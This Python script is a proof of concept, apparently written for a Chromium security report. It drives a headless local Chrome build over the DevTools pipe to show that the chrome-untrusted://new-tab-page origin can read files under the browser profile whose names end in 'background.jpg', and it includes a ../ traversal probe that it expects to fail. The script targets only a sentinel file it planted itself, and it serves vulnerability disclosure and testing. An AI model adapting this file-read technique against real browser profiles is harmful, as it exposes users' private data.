#!/usr/bin/env python3
"""
POC: Profile-subdirectory file read via permissive EndsWith('background.jpg')
     check in UntrustedSource (chrome-untrusted://new-tab-page).

Threat model: code running in the chrome-untrusted://new-tab-page renderer
(which Chromium docs say must be assumed compromised) can read any file
matching <profile>/**/*background.jpg via the browser process.

This driver:
  1. Plants a sentinel file at <profile>/Default/secret_subdir/nested/background.jpg
  2. Launches Chrome headless with --remote-debugging-pipe
  3. Opens chrome://new-tab-page (registers UntrustedSource for the profile)
  4. Opens a top-level page at chrome-untrusted://new-tab-page/image?https://x
     (an HTML document served from the chrome-untrusted://new-tab-page origin,
      simulating an attacker with code execution in that origin)
  5. From that origin, evaluates:
        fetch('chrome-untrusted://new-tab-page/secret_subdir/nested/background.jpg')
          .then(r => r.text())
  6. Prints the response body and asserts it equals the sentinel.

Pass --also-probe-traversal to additionally show that ../ escape is blocked
by GURL canonicalization (returns empty), confining impact to <profile>/**.
"""

import json
import os
import shutil
import subprocess
import sys
import threading
import time

CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome"
)
PROFILE = "/tmp/chrome-poc-profile"
SENTINEL = "POC-SECRET-FILE-CONTENTS-1234567890abcdef"
SECRET_REL = "secret_subdir/nested/background.jpg"


def setup_profile():
    shutil.rmtree(PROFILE, ignore_errors=True)
    secret_dir = os.path.join(PROFILE, "Default", "secret_subdir", "nested")
    os.makedirs(secret_dir, exist_ok=True)
    with open(os.path.join(secret_dir, "background.jpg"), "w") as f:
        f.write(SENTINEL)
    # Also plant a file outside the profile dir to demonstrate that ../ is
    # blocked by GURL canonicalization (negative test).
    with open("/tmp/outside-background.jpg", "w") as f:
        f.write("OUTSIDE-PROFILE-SHOULD-NOT-BE-READABLE")
    print(f"[+] Planted sentinel at {PROFILE}/Default/{SECRET_REL}")


class CDP:
    """Minimal CDP client over --remote-debugging-pipe (FD 3 in, FD 4 out,
    NUL-delimited JSON)."""

    def __init__(self, chrome_path, user_data_dir):
        # Parent ends of the pipes:
        #   we write to in_w  -> chrome reads on FD 3
        #   chrome writes FD 4 -> we read on out_r
        in_r, self.in_w = os.pipe()
        self.out_r, out_w = os.pipe()
        self.stderr_r, stderr_w = os.pipe()
        os.set_inheritable(in_r, True)
        os.set_inheritable(out_w, True)

        def _child_setup():
            os.dup2(in_r, 3)
            os.dup2(out_w, 4)
            os.set_inheritable(3, True)
            os.set_inheritable(4, True)

        cmd = [
            chrome_path,
            "--no-sandbox",
            "--headless=new",
            "--allow-chrome-scheme-url",
            "--remote-debugging-pipe",
            "--no-first-run",
            "--no-default-browser-check",
            "--ignore-gpu-blocklist",
            "--disable-gpu",
            "--enable-logging=stderr",
            f"--user-data-dir={user_data_dir}",
            "about:blank",
        ]
        # pass_fds must be the *child* ends; map them to FD 3 and 4.
        self.proc = subprocess.Popen(
            cmd,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.DEVNULL,
            stderr=stderr_w,
            close_fds=False,
            preexec_fn=_child_setup,
        )
        os.close(in_r)
        os.close(out_w)
        os.close(stderr_w)

        self._id = 0
        self._buf = b""
        self._stderr_lines = []
        self._stderr_thread = threading.Thread(
            target=self._drain_stderr, daemon=True
        )
        self._stderr_thread.start()

    def _drain_stderr(self):
        buf = b""
        while True:
            try:
                chunk = os.read(self.stderr_r, 4096)
            except OSError:
                return
            if not chunk:
                return
            buf += chunk
            while b"\n" in buf:
                line, buf = buf.split(b"\n", 1)
                self._stderr_lines.append(line.decode("utf-8", "replace"))

    def _read_msg(self, timeout=15.0):
        deadline = time.time() + timeout
        while b"\x00" not in self._buf:
            if time.time() > deadline:
                raise TimeoutError("CDP read timeout")
            chunk = os.read(self.out_r, 4096)
            if not chunk:
                raise EOFError("CDP pipe closed")
            self._buf += chunk
        raw, self._buf = self._buf.split(b"\x00", 1)
        return json.loads(raw)

    def send(self, method, params=None, session_id=None, timeout=15.0):
        self._id += 1
        msg = {"id": self._id, "method": method, "params": params or {}}
        if session_id:
            msg["sessionId"] = session_id
        os.write(self.in_w, json.dumps(msg).encode() + b"\x00")
        while True:
            m = self._read_msg(timeout)
            if m.get("id") == self._id:
                if "error" in m:
                    raise RuntimeError(f"{method} -> {m['error']}")
                return m.get("result", {})
            # else: event, ignore

    def close(self):
        try:
            self.send("Browser.close")
        except Exception:
            pass
        try:
            self.proc.terminate()
            self.proc.wait(timeout=5)
        except Exception:
            self.proc.kill()


def main():
    setup_profile()
    cdp = CDP(CHROME, PROFILE)
    time.sleep(2)
    if cdp.proc.poll() is not None:
        print(f"[-] Chrome exited early rc={cdp.proc.returncode}")
        for l in cdp._stderr_lines:
            print("   stderr:", l)
        sys.exit(1)
    try:
        # 1) Load chrome://new-tab-page so UntrustedSource is registered for
        #    this profile.
        ntp = cdp.send(
            "Target.createTarget", {"url": "chrome://new-tab-page/"}
        )
        print(f"[+] Opened chrome://new-tab-page target={ntp['targetId']}")
        time.sleep(2.0)

        # 2) Open a top-level document in the chrome-untrusted://new-tab-page
        #    origin. The /image?<url> handler returns an HTML page from that
        #    origin -> the renderer for this target holds a
        #    WebUIURLLoaderFactory for chrome-untrusted://.
        untrusted_url = (
            "chrome-untrusted://new-tab-page/image?https://example.com"
        )
        ut = cdp.send("Target.createTarget", {"url": untrusted_url})
        ut_id = ut["targetId"]
        print(f"[+] Opened {untrusted_url} target={ut_id}")
        att = cdp.send(
            "Target.attachToTarget", {"targetId": ut_id, "flatten": True}
        )
        sess = att["sessionId"]
        cdp.send("Runtime.enable", session_id=sess)
        time.sleep(1.5)

        # Confirm we are in the right origin.
        origin = cdp.send(
            "Runtime.evaluate",
            {"expression": "location.href", "returnByValue": True},
            session_id=sess,
        )
        print(f"[+] Renderer location.href = {origin['result'].get('value')}")

        # 3) From the chrome-untrusted://new-tab-page renderer, fetch a
        #    multi-segment path ending in background.jpg.
        attack_url = (
            f"chrome-untrusted://new-tab-page/{SECRET_REL}"
        )
        print(f"[+] fetch('{attack_url}') from chrome-untrusted renderer ...")
        res = cdp.send(
            "Runtime.evaluate",
            {
                "expression": (
                    f"fetch('{attack_url}')"
                    ".then(r => r.text())"
                    ".then(t => JSON.stringify({len:t.length, body:t}))"
                ),
                "awaitPromise": True,
                "returnByValue": True,
            },
            session_id=sess,
        )
        if res["result"].get("subtype") == "error":
            print(f"[-] fetch threw: {res}")
        else:
            payload = json.loads(res["result"]["value"])
            print(f"[+] Response length = {payload['len']}")
            print(f"[+] Response body   = {payload['body']!r}")
            if payload["body"] == SENTINEL:
                print(
                    "\n*** VULNERABILITY CONFIRMED ***\n"
                    "Browser process read "
                    f"{PROFILE}/Default/{SECRET_REL}\n"
                    "and returned its contents to the "
                    "chrome-untrusted://new-tab-page renderer.\n"
                )
            else:
                print("[-] Body did not match sentinel")

        if "--also-probe-traversal" in sys.argv:
            # Negative test: ../ is collapsed by GURL canonicalization, so
            # escaping the profile directory is NOT possible. Expect empty.
            trav_url = (
                "chrome-untrusted://new-tab-page/"
                "../../../../tmp/outside-background.jpg"
            )
            res2 = cdp.send(
                "Runtime.evaluate",
                {
                    "expression": (
                        f"fetch('{trav_url}').then(r=>r.text())"
                        ".then(t=>JSON.stringify({len:t.length}))"
                    ),
                    "awaitPromise": True,
                    "returnByValue": True,
                },
                session_id=sess,
            )
            print(f"[+] ../ traversal probe -> {res2['result'].get('value')}")
    finally:
        cdp.close()


if __name__ == "__main__":
    main()